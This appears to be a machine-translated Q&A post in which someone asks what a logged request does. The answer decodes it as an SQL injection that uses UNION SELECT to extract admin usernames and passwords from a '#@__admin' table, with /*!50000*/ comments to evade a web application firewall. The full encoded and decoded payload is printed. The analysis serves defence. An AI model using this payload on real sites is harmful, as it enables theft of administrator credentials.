我正在尝试了解以下注射剂及其作用。它试图得到什么?我了解的唯一部分是联合和选择部分,但是我不确定全部注入,需要帮助理解。
action =&aid = 1&_FILES%5Btype%5D%5Btmp_name%5D =%5C%27%20or%20mid = @%60%5C%27%60%20 /!50000union //!50000select / 1,2,3,(select %20CONCAT(0x7c,userid,0x7c,pwd)+ from +%60%23 @__ admin%60%20limit + 0,1),5,6,7,8,9%23 @%60%5C%27%60 + &_FILES%5Btype%5D%5Bname%5D = 1.jpg&_FILES%5Btype%5D%5Btype%5D = application / octet-stream&_FILES%5Btype%5D%5Bsize%5D = 4294
最佳答案
好吧,首先我们可以对字符串进行URL解码:
action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'`/!50000union//!50000select/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'`
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294
这些参数之一非常可疑。
[tmp_name]=\' OR mid=@`\'`
/!50000union/
/!50000select/1,2,3,
(select CONCAT(0x7c,userid,0x7c,pwd)
from `#@__admin`
limit 0,1)
,5,6,7,8,9#@`\'`
用简单的英语来说,它会注入一个选择查询,以便从
0x7c<user>0x7c<password>
表中获得#@__admin
之类的格式的用户名和密码(根据@DCoder可能是保留这些值的实际表的占位符),并将其附加到您的原始选择。!50000
用来绕过Web应用程序防火墙(如果有的话)。如果您不这样做,则可能只是机器人或自动尝试。或跟随脚本查看有效的人。这些数字并不是真正有用的-可能是为了逃避防火墙,或者仅仅是为了调试目的,攻击者才能查看输出的外观。如果不运行它,很难说出来。这是攻击者试图运行的SQL在“普通SQL”中的样子:
select
userid,
pwd
from
`#@__admin`
你有这样的桌子吗?当您转到该站点的URL时,它是否转储用户表?如果没有,那么您甚至可能没有问题,这只是自动扫描。您可能仍会遇到SQL注入问题,即使它无法正常工作,但在日志中记录此问题也不表示有违反的迹象……但这绝对是一个危险信号。